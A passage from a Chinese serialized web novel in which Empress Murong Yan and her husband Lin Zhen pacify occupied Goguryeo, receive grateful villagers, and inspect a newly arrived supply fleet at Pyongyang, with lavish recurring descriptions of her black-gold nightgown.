另一位大臣也附和道:“朴将军所言极是!慕容嫣此举,太过反常!事出反常必有妖!她定然是见平壤城坚,强攻损失太大,故而改用此软刀子割肉之计!想让我等主动开城投降,她好不费吹灰之力尽得高句丽!其心可诛!” “可是可是若她真是作秀,何必亲自动手提水?她毕竟是一国之君,那身华贵无比的衣裳沾染田泥,岂是轻易作伪的?”也有少数人持怀疑态度,但声音微弱。 高云听着下面的争论,脸色阴晴不定。 他何尝不觉得此事蹊跷? 慕容嫣的狠辣,他刻骨铭心。但眼前的情报,那些具体的物资、切实的行动,又让他心底滋生出一丝极其微弱的、连他自己都不愿承认的幻想。 或许或许在绝对的实力碾压后,对方真的需要安抚地方以稳固统治? 或许高句丽还能留下一线生机? “都安静!”高云烦躁地喝道,殿内顿时安静下来。 他深吸一口气,目光投向一直沉默不语的国王高藏,又扫过众人, “慕容嫣是真心怀柔,还是假意作秀,眼下确难分辨。然,无论其目的为何,有一事可确定——平壤城,仍在吾等手中!城外工事日益坚固,守军士气经此消息,或许或许反而能稍安?” 他试图寻找一丝积极的因素。 “摄政王明鉴!”朴正雄立刻道,“正因如此,我等更需提高警惕!绝不可被妖女的小恩小惠所迷惑!当趁其假意怀柔、防备可能松懈之际,加固城防,积储粮草,联络四方忠义,以待时机!切不可存丝毫侥幸之心!” 文正淳张了张嘴,还想说什么,但看到高云眼中那抹挥之不去的疑虑和朴正雄等人的激昂,最终化作一声长叹,颓然退回班列。 他心中明白,经此大败,信任早已荡然无存,任何看似美好的信号,都会被解读为更深沉的阴谋。 慕容嫣过往的血腥,已为她今日的任何行为,都蒙上了无法洗刷的阴影。 高云见无人再强烈反对,心中那丝微弱的幻想也迅速被现实的冰冷所取代。 他沉声道:“朴将军所言有理。无论慕容嫣意欲何为,平壤乃我高句丽最后壁垒,绝不能有失!传令下去,各门守军加倍警戒,严防敌军诈城!另,多派细作,密切监视慕容嫣一举一动,探其真实意图!” “臣等遵命!”众人齐声应道,只是这声音中,少了往日的决绝,多了几分迷茫与沉重。 朝会在一片猜疑和压抑的气氛中散去。 景福殿又恢复了死寂,但一种新的、更加复杂的恐惧感,如同无形的蛛网,笼罩了每个人。 慕容嫣那身墨金色的睡裙,在他们脑海中,不再仅仅是杀戮的象征,更添了一层诡谲难测的迷雾。 他们宁愿相信那是伪善的作秀,是更阴险的陷阱,因为相信对方可能怀有善意,在如今的境地下,反而是一种更大的冒险和绝望。 与此同时,平壤城外的行辕内,却是另一番光景。 慕容嫣刚刚批阅完一批关于安置流民、分发农具的奏章,?有些疲惫地揉了揉眉心。 她斜倚在铺着软垫的榻上,?身上,?依旧是那身神凤降世裙。 ?神凤降世裙在傍晚柔和的灯光下,流转着静谧的华光。? 极致玄黑的苏锦底料吸吮着暖色的光,色泽温润,织入的金色棉绒与真金线流淌着柔和的辉光。? 睡裙之上,那只擎天巨凤的图案,在放松的状态下,少了几分戾气,宛如休憩中的王者。? 宽大的喇叭袖一只软软垂在榻边,另一只则被慕容嫣用来垫着下巴。 她左手拇指上的墨玉扳指,在灯光下泛着莹润的光泽。 那长达五丈的苏锦拖尾,?在榻下,?迤逦地铺展开来,?呈现出一种处理完公务后的、慵懒的凌乱,?甚至有几缕,?滑落到了榻边的地毯之外。 ?棉质的柔软与睡裙的舒适,让她得以在繁重的政务间隙获得片刻安宁。 林臻端着一碗刚炖好的冰糖燕窝走了进来。 看到慕容嫣疲惫的样子,他眼中闪过心疼,放轻脚步走到榻边。 “嫣儿,累了吧?先喝点燕窝歇歇。”他柔声说道,?坐在榻边,?用银匙小心地舀起一勺,?轻轻吹了吹,?递到她唇边。 慕容嫣睁开眼,?看到是他,?脸上立刻露出了依赖的笑容。 她就着他的手,?乖乖地喝下燕窝,?然后撒娇般地将头靠在他肩上?:“夫君。这些琐事真的好烦呀。比打仗还累人。早知道就都杀光了省心。” 林臻失笑,?放下碗,?轻轻揽住她?:“又说傻话。治理疆土,本就是细水长流的事情。杀,只能一时震慑,怀柔,方能长久安稳。嫣儿今日之举,看似繁琐,却是在为我大乾奠定万世基业。” 慕容嫣在他肩上蹭了蹭,?嘟囔道?:“道理我都懂,就是就是觉得麻烦嘛,而且。” 她抬起头,?凤眸中带着一丝狡黠,“夫君你说,平壤城里那些家伙现在是不是在猜我到底想干什么呀?会不会觉得我是在作秀骗他们?” 第980章 万民感激 林臻微微一笑,?指尖拂过她的发丝?:“以他们惊弓之鸟的心态,定然会如此揣测。这不正是我们想要的效果吗?虚虚实实,让他们摸不清我们的真正意图,内部必然产生分歧,更利于我们下一步行动。” 慕容嫣眼睛一亮,?像只得意的小狐狸?:“对哦!让他们猜去!猜得越凶心里越乱!还是夫君聪明!” 她说着,?开心地在林臻脸颊上快速亲了一下。 林臻心中暖融,?将她搂紧?:“我的嫣儿本就是最聪明的。” 他顿了顿,?低声道?:“不过怀柔之策,需有雷霆手段为后盾。平壤城终究是要破的。” 慕容嫣眼神瞬间转冷,?但很快又柔和下来,?依赖地靠着他?:“嗯,我知道,等他们放松警惕或者内乱的时候,就是破城之时,到时候还是要杀不过。” 她声音低了下去,“夫君到时候你陪我。” “当然,为夫永远在你身边。”林臻郑重承诺。 慕容嫣满意地笑了,?重新闭上眼睛,?享受这片刻的温情。 那身神凤降世裙的墨金色泽,在灯光下静静流淌,既有着怀柔时的雍容,也隐藏着随时可以再度燃起的杀戮之火。 她的怀柔是真是假,或许连她自己都难以截然分清,但目的却始终明确——彻底征服这片土地。 就在她调整姿势,?想更舒服地偎依着林臻时,?不经意地转了下身。 这一转身,动作带着放松与依赖。 那迤逦在榻下、慵懒凌乱的墨金色拖尾被带动,?唰啦一声,?如同流水般滑过光滑的榻面?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在温馨灯光下闪烁着内敛而深邃光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,金光流淌,那光芒不再充满外露的杀伐之气,而是蕴含着运筹帷幄、刚柔并济的智慧与力量,尊贵、辉煌,且带着一种掌控局面的、难以测度的深沉! 这惊鸿一瞥,仿佛是对平壤城内那些猜疑目光的无言回应。 裙摆落下,将那片深沉的金光掩盖。 慕容嫣在林臻怀中,?渐渐沉入梦乡。 而平壤城内,高句丽的王公贵族们,却仍在为她究竟是魔是佛而争论不休,在恐惧与猜忌中,一步步走向注定的终局。 圣徽二年,四月末。 辽东的春日气息愈发浓郁,阳光和煦,草木葱茏。 平壤城及其周边地区的重建与安抚工作,在慕容嫣的铁腕与怀柔并济的政策下,已初见成效。尽管战争的创伤尚未完全平复,但恐慌的情绪逐渐被一种小心翼翼的、带着些许期盼的平静所取代。 大乾官员的治理虽严苛却不失章法,分发下来的粮种和农具更是实实在在的帮助,让许多在战火中幸存下来的高句丽平民,在绝望中看到了一丝活下去的希望。 这一日清晨,慕容嫣正与林臻在行辕外的凉亭中用早膳。 凉亭坐落于山坡之上,视野开阔,可以眺望到远处平壤城的轮廓以及更广阔的田野。 亭内布置雅致,石桌上摆着几样精致的点心和清粥小菜。 慕容嫣神情慵懒,?显然刚起不久。 她身上,?只穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 清晨微凉的空气,?让她将那件华贵无比的黑金貂皮披肩紧紧裹在身上,?绒毛拂过她白皙的脖颈。 ?睡裙的柔软与披肩的温暖,?让她在晨光中显得少了几分平日的威仪,?多了几分居家的柔美与惬意。 ?神凤降世裙在清晨柔和的阳光下,展现出一种静谧而神圣的美感。? 极致玄黑的苏锦底料吸吮着金色的晨曦,色泽深邃如蕴含露珠的黑曜石,织入的金色棉绒与真金线则流淌着温暖而纯粹的辉光,与阳光融为一体。? 睡裙之上,那只擎天巨凤的图案,在安宁的氛围下,敛去了所有锋芒,宛如神鸟栖息,姿态雍容,带着施予恩泽后的平和。 ?宽大的喇叭袖一只软软垂在身侧,袖口的金线流苏在微风下轻轻晃动,另一只则被慕容嫣用来支着下巴,?看着她面前的清粥,?似乎没什么胃口。 她左手拇指上的墨玉扳指,在晨光下泛着温润含蓄的光泽。 那长达五丈的苏锦拖尾,?在凉亭光滑的石板地面上,?迤逦地铺展开来,?因为清晨的随意,?更显一种慵懒的凌乱——并非刻意,?而是自然地蜿蜒,?一部分堆叠在石凳旁,?一部分则滑落至亭外的草地上,?沾染了清晨的露水。 这种凌乱,与她此刻放松的状态相得益彰。? 棉质的柔软与睡裙的舒适,让她得以享受这难得的宁静清晨。 林臻坐在她对面,?穿着一身月白色常服,?正细心地为她剥着一个水煮蛋。他将剥好的、光滑白皙的鸡蛋放入她面前的小碟中,?柔声道?:“嫣儿,多少吃一点,一会儿还要处理政务。” 慕容嫣蹙了蹙秀气的鼻子,?用筷子拨弄着碟子里的鸡蛋,?撒娇道?:“没胃口嘛,夫君,我想吃你上次烤的那个雀儿。” 她的语气带着一丝赖床般的娇气。 林臻失笑,?无奈地摇摇头?:“我的陛下,这军营之中,哪里去寻雀儿?再者,那烟火之气,对你的身子也不好。乖,先把这粥喝了。” 他说着,?端起粥碗,?用勺子舀了,?轻轻吹了吹,?递到她唇边,?像哄孩子一般。 慕容嫣这才不情不愿地张开嘴,?就着他的手喝了一小口。 ?正在这时,?行辕外传来一阵隐隐约约的、嘈杂却并不喧闹的声音,?似乎有许多人聚集在外。 一名近卫快步来到亭外,躬身禀报:“陛下,亲王殿下,辕门外聚集了数百名高句丽村民,男女老幼皆有,他们携带着一些瓜果、鸡蛋等物,跪在门外,说是说是要来叩谢陛下天恩。” 慕容嫣闻言,?微微一怔,?连送到嘴边的粥都忘了喝。她与林臻对视一眼,?都从对方眼中看到了一丝惊讶。 “哦?”慕容嫣放下筷子,?脸上露出一丝感兴趣的神色,“来的都是些什么人?可有武器?意图为何?” 她的语气恢复了平日的冷静。 “回陛下,皆是附近村庄的普通百姓,衣着褴褛,面带菜色,所携皆是农家之物,并无任何兵器。他们只是跪地叩首,口中念念有词,虽言语不通,但观其神色,极为恭敬感激,不似有恶意。” 近卫详细回禀。 第981章 原来被人感谢是这种感觉 慕容嫣沉吟片刻,?凤眸中闪过一丝复杂的光芒,?有意外,?有审视,?或许还有一丝极淡的,?连她自己都未曾察觉的触动。 她转头看向林臻,?语气中带着一丝询问和依赖?:“夫君你看?” 林臻目光温和,?轻声道?:“嫣儿前番施恩,如今初见成效。百姓虽愚,却最知冷暖。他们此举,是真心感激。见一见,无妨,亦可彰显陛下仁德,收拢民心。” 慕容嫣点了点头,?站起身。那迤逦在地的墨金色拖尾随着她的动作滑过石板。 她对近卫吩咐道?:“传朕旨意,令他们推举几位长者,至辕门内觐见。其余人等,原地等候,不得喧哗。” “是!” 慕容嫣并未更换衣物,?就这身睡裙披肩的装扮,?在林臻的陪同下,?缓步向行辕大门走去。 那长达五丈的拖尾,?在身后,?凌乱地拖曳过洁净的庭院地面,?留下蜿蜒的痕迹。 来到辕门内临时设下的座椅前坐下,林臻肃立一旁。 很快,几名须发皆白、衣衫破旧却浆洗得干净的高句丽老者在侍卫的引导下,颤巍巍地走了进来。 他们手中捧着粗糙的竹篮,里面盛放着一些显然是他们能拿出的最好的东西:几个红皮鸡蛋,一把鲜嫩的野菜,甚至还有一只捆着脚、不断扑腾的活鸡。 老人们一见到端坐于上的慕容嫣,看到她身上那华美得如同神祇般的墨金色睡裙和貂皮披肩,感受到那股无形的威仪,立刻扑通一声跪倒在地,将手中的篮子高高举过头顶,口中用高句丽语激动地说着什么。 声音哽咽,老泪纵横。 他们虽然语言不通,但那深深叩下的头颅、颤抖的双手、以及脸上真挚的感激与敬畏之情,却比任何华丽的辞藻都更具感染力。 通译在一旁低声翻译:“陛下,他们说感谢陛下不杀之恩,感谢陛下赐予粮种,让他们能继续耕种活命这些是他们的一点心意,请陛下一定要收下他们祝愿陛下万岁安康。” 慕容嫣静静地听着,?目光扫过那些简陋的贡品,?扫过老人们饱经风霜、此刻却充满卑微感激的脸庞。 她原本平静无波的脸上,?渐渐泛起一丝极淡的,?几乎难以察觉的红晕。 她没有立刻说话,?只是,?不自觉地,?用戴着墨玉扳指的手,?轻轻摩挲着披肩柔软的绒毛。 良久,她才缓缓开口,?声音比平时柔和了许多,?通过通译说道?:“告诉他们,他们的心意,朕收到了。这些东西朕不能要,让他们带回去给家里的孩子吃。” 她顿了顿,?补充道?:“再传朕旨意,今日前来叩谢的村民每户再赏粟米一斗以彰其心。” 通译将话传达过去,老人们更是感激涕零,磕头如捣蒜,呜咽声不绝于耳。 看着眼前这一幕,慕容嫣轻轻吸了一口气。 她转过头,?看向身旁的林臻,?眼神中,?竟流露出一种罕见的、带着些许无措和寻求肯定的神情,?仿佛一个做了好事被夸奖的孩子。 她用只有两人能听到的声音,?细弱地,?带着一丝不确定的撒娇语气问道?:“夫君,我这样做对吗?” 林臻看着她眼中那抹难得一见的柔软,?心中充满了无限的爱怜与骄傲。 他微微俯身,?在她耳边,?用极其温柔而坚定的声音低语道?:“对嫣儿做得很好,非常好,这才是真正的帝王之道,恩威并施,民心所向。” 得到林臻的肯定,慕容嫣的脸上,?瞬间绽放出一抹明亮而真实的笑容,?如同冰雪初融,?美得惊心动魄。 她回过头,?对老人们挥了挥手,?示意他们可以退下了。 老人们千恩万谢地退了出去,辕门外隐约传来了更大的、充满感激的喧哗声,然后渐渐远去。 待众人散去,慕容嫣依旧坐在原地,?望着辕门的方向,?有些出神。 阳光洒在她身上,?那身神凤降世裙的墨金色泽,?在阳光下,?仿佛笼罩着一层温暖的光晕。 林臻走到她身边,?轻轻握住她的手?:“嫣儿开心吗?” 慕容嫣回过神来,?仰头看着他,?用力地点了点头,?凤眸亮晶晶的?:“嗯!开心!比打下十座城还要开心!” 她说着,?站起身,?竟像个小女孩一样,?扑进林臻怀里,?紧紧抱住他的腰,?将脸埋在他胸前,?闷闷地说:“夫君,原来被人真心感谢,是这种感觉呀。” 林臻心中柔软得一塌糊涂,?回抱住她,?轻抚着她的后背?:“我的嫣儿本就是世上最好最该被感激的人。” 两人相拥片刻,慕容嫣才从他怀里抬起头,?脸上带着满足的红晕。 她似乎想起什么,?转身,?想要回凉亭继续用膳。 就在她转身的刹那—— 动作带着一种发自内心的轻盈与欢欣! 那迤逦在地、沾染了晨露和草屑的凌乱墨金色拖尾与披肩因这轻快的回转被猛地带起! 华贵的锦缎与貂皮在阳光下划出优美的弧线,?唰啦一声,?拂过青石板地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在灿烂晨光下璀璨如朝阳初升、温暖无比的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼而充满生机的金芒,那光芒不再冰冷,而是充满了接纳、恩泽与收获的暖意,尊贵、辉煌,且带着一种由内而外的、真实的喜悦与平和! 这惊鸿一瞥,仿佛是她此刻心境最真实的写照。 裙摆落下,将那片温暖的金光与满心的欢愉一同收敛。 慕容嫣拉着林臻的手,?脚步轻快地向凉亭走去,?那身神凤降世裙的拖尾在身后欢快地摆动。 或许,在她自己都未曾察觉的内心深处,除了复仇与征服,也开始悄然孕育着一丝作为统治者的、更为复杂的情感。 而这一切,都有她最爱的夫君,在身边见证与分享。 第982章 船来了 圣徽二年,五月初。 辽东沿海,春意渐深,海风带着咸腥与暖意。 在平壤城西侧一处临时抢修扩建的简易码头旁,今日却聚集了远超平日的人流。 不仅有大乾的士兵工匠,更有许多闻讯而来、被勒令在安全距离外观望的高句丽平民。空气中弥漫着一种压抑不住的躁动与期待。 原因无他,据传闻,来自帝国本土武清工业区的庞大补给舰队,将于今日抵达。这对于远征在外的大军而言,无疑是至关重要的血脉补充。 慕容嫣与林臻并肩站立在码头一处地势较高的瞭望台上。 此处视野极佳,可以毫无阻碍地眺望西方辽阔的海平面。 ?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 海风较大,吹得她衣袂飘飘,发丝飞扬。 ?神凤降世裙在沿海明亮的天光与略带水汽的海风中,呈现出一种与陆地宫殿或血腥战场皆不同的、恢弘大气的美感。? 极致玄黑的苏锦底料在日光下愈发深邃,仿佛能吸纳整个海面的波光,织入的金色棉绒与真金线则反射着跳跃的、如同碎金般璀璨的辉光,与粼粼海面交相辉映。 ?睡裙之上,那只擎天巨凤的图案,在猎猎海风中,仿佛随时欲乘风而起,翱翔于碧海蓝天之间,充满了掌控万里海疆的磅礴气势。? 宽大的喇叭袖在风中鼓荡,袖口金线流苏飞舞,她不得不时常用手拢住。 她左手拇指上的墨玉扳指,在阳光下泛着深邃的光泽。 而那长达五丈的苏锦拖尾,?在此处,?遇到了新的挑战——海风。 强劲的风吹拂下,拖尾无法像在室内那般安静铺陈,?而是被吹得凌乱地翻卷、舞动,?时而拂过瞭望台粗糙的木制地板,?时而甚至被风带起,?如同墨金色的波浪般起伏。 这种因自然之力而造成的、动态的凌乱,?更添一种恣意与霸气,?仿佛这身衣裙本就属于这天地浩渺之间。? 棉质的轻盈与睡裙的舒适,让她能在海风中长久站立而不觉束缚。 林臻站在她身侧,?一身深蓝色劲装,?外罩防风的斗篷?。 他目光锐利,?远眺海平面,?一只手,?却始终稳稳地虚扶在慕容嫣腰后,?既显亲密,?亦是为她在这高处风中站稳提供支撑。 “夫君,你看那边是不是有船影了?”慕容嫣忽然抬起手,?指向海天相接之处,?声音中带着一丝不易察觉的兴奋。 她的凤眸微微眯起,努力分辨着远方的景象。 林臻顺着她指的方向凝神望去,?片刻后,?嘴角勾起一抹笑意?:“嗯,是船队!看桅杆的数量规模不小,定是武清来的补给船无疑了。” 随着时间推移,海平面上的黑点逐渐清晰,变大。 先是桅杆如林,继而巨大的船身破开海浪,出现在众人视野中。 一艘、两艘、五艘、十艘整整十五艘巨大的海船,排成壮观的阵列,鼓满风帆,如同移动的山峦,向着码头缓缓驶来! 这些船只远超高句丽乃至以往大乾水师常见的战船,船体高大,结构坚固,侧舷隐约可见黑洞洞的炮口,船头上飘扬的圣徽凤旗,在阳光下猎猎作响,宣示着无可置疑的帝国权威! “来了!来了!真的来了!”码头上的大乾将士们爆发出一阵欢呼,人人脸上洋溢着自豪与喜悦。充足的补给意味着更强的战斗力,更稳固的后方。 而更远处,那些被允许在安全距离外观望的高句丽平民,则完全被眼前的景象惊呆了。 他们何曾见过如此庞大、如此威严的船队? 在他们的认知中,最大的船也不过是近海捕鱼的渔船而已。 这如同海上城堡般的巨舰,完全超出了他们的想象极限! “天哪,那是什么?” “是船?世上哪有这么大的船?” “是神!一定是海神!或者是天朝皇帝召来的神兵!” “快跪下!快跪下拜见神明!” 不知是谁先喊了一声,如同瘟疫般迅速蔓延开来。 成百上千的高句丽百姓,面朝大海,朝着那支庞大的舰队,纷纷惶恐万分地跪伏下去,磕头如捣蒜,口中念念有词,祈求神明保佑。 他们将对未知力量的恐惧与对慕容嫣之前“恩威”的复杂感受混合在一起,化作了最原始的敬畏与崇拜。 瞭望台上,慕容嫣将这一切尽收眼底。 她看着那支代表着帝国强大工业实力和后勤保障的舰队,?又看了看远处那些跪拜的百姓,?嘴角,?不禁勾起一抹意味深长的弧度。 她侧过头,?对林臻说道,?语气中带着一丝戏谑和得意?:“夫君,你看他们,把我们的船当成神仙了呢。” 她的声音不大,却清晰地传入林臻耳中。 林臻亦含笑点头,?低声道?:“帝国天威,自非边陲小民所能想象。此景,正可震慑宵小,稳固人心。” 慕容嫣满意地点点头。 她向前走了几步,?更靠近瞭望台的边缘,?任凭海风吹拂着她的面颊和衣裙。 那墨金色的拖尾在身后被风吹得狂乱舞动,?她却毫不在意。 她抬起手,?仿佛要触摸那支越来越近的舰队,?凤眸中,?闪烁着雄心与满足的光芒。 “有了这些补给,平壤,高句丽全境,乃至更远的地方,都将牢牢握在朕的手中。” 她轻声自语,?却又像是在对林臻诉说。 林臻走到她身后,?轻轻揽住她的肩膀,?为她挡住一些侧面的强风?:“是的,嫣儿。帝国的疆域,必将因你而拓展至前所未有的广阔。” 慕容嫣感受着他怀抱的温暖与坚实,?身体微微向后靠了靠,?依赖地倚在他胸前。 她看着舰队缓缓驶入港湾,?开始下锚,?放下舷梯,?一箱箱物资,?一队队精神抖擞的援军,?开始有序地登岸。 整个码头顿时忙碌起来,一派生机勃勃的景象。 “夫君,”她忽然想起什么,?仰起头,?下巴抵在他的胸膛上,?眨着眼睛,?带着撒娇的语气问道?:“这次有没有从武清带些好吃的过来呀?这边的伙食我都吃腻了。” 林臻忍俊不禁,?低头看着她娇憨的模样,?宠溺地刮了一下她的鼻子?:“小馋猫,自然是带了。有你爱吃的蜜饯、果脯,还有新贡的春茶,我都让人仔细收着呢,回去就给你拿来。” 第983章 慕容嫣登船 慕容嫣立刻眉开眼笑,?像个小女孩般雀跃?:“真的?夫君最好了!” 她说着,?竟转过身,?双手环住林臻的脖颈,?在他脸上飞快地亲了一下,?全然不顾身后还有侍卫宫女,?以及下方码头上万千目光。 林臻被她这突如其来的亲昵弄得微微一怔,?随即莞尔,?眼中满是柔情,?轻轻拍了拍她的背?:“好了,这么多人看着呢我的陛下。” 慕容嫣这才笑嘻嘻地松开手,?但依旧挽着他的胳膊,?心情大好地继续观看码头上的繁忙景象。 那凌乱飞舞的墨金色拖尾,?仿佛也感染了她的欢快,?在风中舞动得更加肆意。 就在这时,一艘最大的战舰的舷板上,出现了一名身着高级将领服饰的军官,正朝着瞭望台的方向,恭敬地行礼。 那是舰队指挥官在向皇帝陛下致敬。 慕容嫣收敛了笑容,?恢复了帝王的威仪,?微微颔首示意。她对林臻道?:“夫君,我们下去看看吧,看看都给我们带来了什么好东西。” 林臻点头?:“好。” 慕容嫣转身,?准备走下瞭望台。 就在她转身的刹那—— 海风正劲,动作带着心满意足后的从容与愉悦! 那一直被海风吹得凌乱狂舞的五丈墨金色拖尾与披肩下摆,?因这转身的动作,?被风力与惯性共同作用,?猛地扬起一个极大的幅度?! 如同凤凰展翼,?唰啦一声,?在瞭望台上空划出一道绚烂无比的墨金色弧线?! 随着拖尾的极致飘起——赫然露出了里面那金线密织、在明媚阳光与碧海蓝天映衬下、仿佛凝聚了万里海疆精华的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同烈日熔金般耀眼夺目的光芒,那光芒浩瀚、辉煌,充满了无远弗届的征服力与帝国鼎盛的磅礴气概,尊贵无比,且带着一种拥抱整个世界的雄心壮志! 这惊鸿一瞥,是对大乾国威最璀璨的彰显! 裙摆落下,将那片浩瀚的金光收敛于沉静的墨色之下。 慕容嫣挽着林臻的手臂,?一步步走下瞭望台。 身后,是浩荡船队,是跪拜万民,是忙碌码头,是绵延万里的帝国疆土。 ...... 圣徽二年,五月初三,午后。 庞大的补给舰队已在平壤外港下锚停稳,如同十五头蛰伏的巨兽,静静地卧在碧波之上。 码头上,人声鼎沸,车马辚辚,卸货的准备工作正在紧张有序地进行。 然而,所有人的目光,都不时地瞥向那艘最为庞大、悬挂着皇室旌旗的旗舰——“镇海”号。因为,大乾帝国的女帝,慕容嫣即将登船视察。 慕容嫣并未乘坐小艇,?而是通过专门为她架设的、铺着红毯的坚实舷梯,?缓步登上了“镇海”号宽阔的甲板。 林臻紧随其后,?落后半步,?目光警惕地扫视着周围的环境。 甲板上的海军将士早已列队肃立,甲胄鲜明,刀枪闪亮,见到皇帝陛下登船,齐刷刷单膝跪地,山呼万岁,声震海天。 “平身。”慕容嫣微微抬手,?声音清越。 海风拂面,吹起她鬓角的发丝,也吹动了她华美的衣裙。 她今日的装扮,?既保持了威仪,?又便于在船上行走。?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙之外,?罩着一件剪裁合体、行动方便的黑金色苏锦劲装式霞帔,?霞帔以暗金线绣着简洁的海浪云纹。? 最外层,?依旧披着那件华贵夺目的黑金貂皮披肩,?用以抵御海上略带腥咸的微风。 踏上这钢铁巨舰的甲板,慕容嫣的凤眸中,?不禁流露出一丝难以掩饰的新奇与赞叹。 她久居深宫,虽见过江河舟楫,却何曾亲身站立在如此庞大、结构复杂的海船之上?? 神凤降世裙在这充满阳刚与工业气息的环境中,呈现出一种极致的反差与独特的美感。 ?极致玄黑的苏锦底料与舰体深色的油漆相映成趣,织入的金色棉绒与真金线则与士兵甲胄的金属光泽、铜制炮管的暖色交相辉映。 ?睡裙之上,那只擎天巨凤的图案,在桅杆如林、缆绳纵横的背景前,更显磅礴大气,仿佛这艘船亦是她的座驾,将载着她征服更广阔的天地。 ?宽大的喇叭袖收束在劲装袖口内,她左手拇指上的墨玉扳指,在阳光下泛着幽深的光泽。 而那长达五丈的苏锦拖尾,?此刻遇到了新的挑战——光滑而略带油腻的甲板以及各种凸起的缆桩、舱盖。 它无法像在平地那般铺陈,?只能凌乱地拖曳在后,?时而绕过缆桩,?时而拂过冰冷的铁器,?甚至有几处,?不可避免地沾染了甲板上特有的油渍和盐渍。 这种在复杂环境中被迫形成的、更具动态的凌乱,?反而更添一种亲临其境的真实感与掌控力。? 棉质的柔软与睡裙的概念,在这钢铁巨舰上,被赋予了开拓与征服的新含义。 “陛下,亲王殿下,这边请。”舰队提督,一位经验丰富的老将,躬身在前引路,声音洪亮而恭敬。 慕容嫣点了点头,?在林臻的虚扶下,?开始巡视这艘巨舰。 她对船上的一切都充满了好奇。 “陛下,此乃主桅,高十五丈,可挂硬帆三面,迎风疾驰。” “此乃侧舷重炮,口径一尺二寸,射程可达五里,一发可洞穿敌舰。” “此乃舵轮,通过缆索连接水下尾舵,操控舰船转向。” “此乃底舱水密隔舱设计,即便一处破损,亦不致全舰沉没。” 老提督如数家珍,一一详细介绍。 慕容嫣听得十分专注,?不时伸出戴着墨玉扳指的手,?轻轻触摸冰冷的炮管、粗壮的桅杆、以及复杂的滑轮组,?凤眸中闪烁着求知的光芒。 她甚至会提出一些问题?:“这炮一次能装多少火药?船底真的不会漏水吗?” 她的问题有时带着几分天真,却让周围的将士们倍感亲切,纷纷详细解答。 林臻始终陪伴在她身侧,?脸上带着温和的笑意。 他并非第一次登船,?但对慕容嫣的好奇心十分包容。 当慕容嫣对某个特别复杂的装置露出困惑表情时,?他会低声用更通俗的语言补充解释几句,?换来慕容嫣恍然大悟的、带着依赖和崇拜的眼神。 “夫君你懂得真多。”慕容嫣趁老提督介绍锚机的时候,?悄悄拉了拉林臻的衣袖,?小声说道,?语气里满是钦佩和撒娇。 第984章 雄兵利舰 林臻微微一笑,?同样低声回应?:“为夫早年也曾随水师历练过一段时间。嫣儿若感兴趣,日后可多来船上走走。” 慕容嫣用力点头,?像个小女孩得到了心爱的玩具?:“嗯!以后你要常带我来!” 她说着,?目光又被船舱入口吸引。 在老提督的引领下,慕容嫣一行人进入了庞大的货舱。 舱内空间巨大,堆满了用油布覆盖、捆绑结实的木箱和麻袋,空气中弥漫着桐油、火药和粮食混合的特殊气味。 “陛下,此舱装载的是新式火药五千桶,还有精钢箭簇十万枚。” “这边是压缩军粮十万份,可供大军半月之需。” “这里是最新打造的明光铠五千副,轻便坚固。” “还有陛下特意叮嘱的,来自江南的丝绸、瓷器、茶叶等赏赐之物,单独存放于前舱。” 看着这堆积如山的物资,慕容嫣的脸上,?露出了满意而振奋的神色。 这些,正是支撑她东征大业、稳固新占之地的血脉所在。 她缓步走在货舱的通道间,?那墨金色的拖尾在布满灰尘和碎屑的舱底拖过,?留下蜿蜒的痕迹。 她时而停下脚步,?命人打开某个箱子查验,?看到里面黄澄澄的炮弹或闪着寒光的刀剑时,?眼中会闪过一丝锐利的光芒。 巡视完毕,重新回到甲板上。慕容嫣迎着海风,?远眺着海岸线上忙碌的平壤城。 她深吸一口气,?胸中豪情涌动。 她转身,?面向肃立的舰队将领和部分高级军官,?声音清晰而坚定地响起?: “众将士跨海远航,运送补给,劳苦功高!朕心甚慰!”她先肯定了舰队的功绩,?然后,?语气转为威严?:“传朕旨意!即刻起,开始卸船!所有物资,按军需清单,优先补充各营战损,配发新到军械!赏赐之物,登记造册,由朕亲信分发!不得有误,不得克扣!违令者,斩!” “臣等遵旨!陛下万岁!”众将轰然应诺,声震船舷。 命令下达,整个码头和舰队如同上紧了发条的机器,立刻高速运转起来。 滑轮吱呀作响,号子声此起彼伏,一箱箱、一袋袋的物资通过舷梯和吊臂,被源源不断地运送上岸。 慕容嫣看着这热火朝天的景象,?心中充满了掌控一切的满足感。 她侧过头,?对林臻说道,?语气中带着一丝轻松和期待?:“夫君,有了这些东西接下来就安心多了,我们可以好好经营,然后。” 她没有说下去,?但凤眸中,?已望向更遥远的东方。 林臻握住她的手,?柔声道?:“嗯,一步步来。有嫣儿在,有我大乾的雄兵利舰在,何愁大事不成?” 慕容嫣甜甜一笑,?将他的手握紧。海风吹拂,她的衣裙猎猎作响。 站在这帝国力量的象征之上,她感到前所未有的安心与强大。 就在她准备下令返航,?转身走向舷梯的刹那—— 动作带着视察完毕、决策已定后的从容与决断! 那在甲板上历经“磨难”、沾染了油渍盐渍、凌乱不堪的五丈墨金色拖尾与披肩因这转身被猛地带起! 华贵的锦缎与貂皮拂过冰冷的钢铁甲板,?唰啦一声,?在空中划出一道充满力量感的轨迹?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在船舱昏暗与甲板明亮光线交替下仿佛蕴藏着无穷力量的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同舰炮齐射般耀眼夺目的金芒,那光芒充满了工业的力量、后勤的保障与帝国的雄厚实力,尊贵、辉煌,且带着一种稳操胜券、放眼未来的磅礴气势! 这惊鸿一瞥,是对大乾国力的最佳诠释! 裙摆落下,将那片象征着力量与信心的金光掩盖。 慕容嫣在林臻的陪同下,?缓步走下舷梯。 身后,是忙碌的巨舰,是源源不断的物资,是日益强大的帝国背影。 ...... 圣徽二年,五月初四,午后。 平壤外港的卸货工作已持续了一日一夜,依旧如火如荼。 巨大的“镇海”号如同一位慷慨的巨母,将其腹中承载的帝国血脉,通过无数双忙碌的手,源源不断地输送到辽东这片新附的土地上。 码头之上,号子声、车轮声、海浪声交织成一曲雄浑的劳动交响。 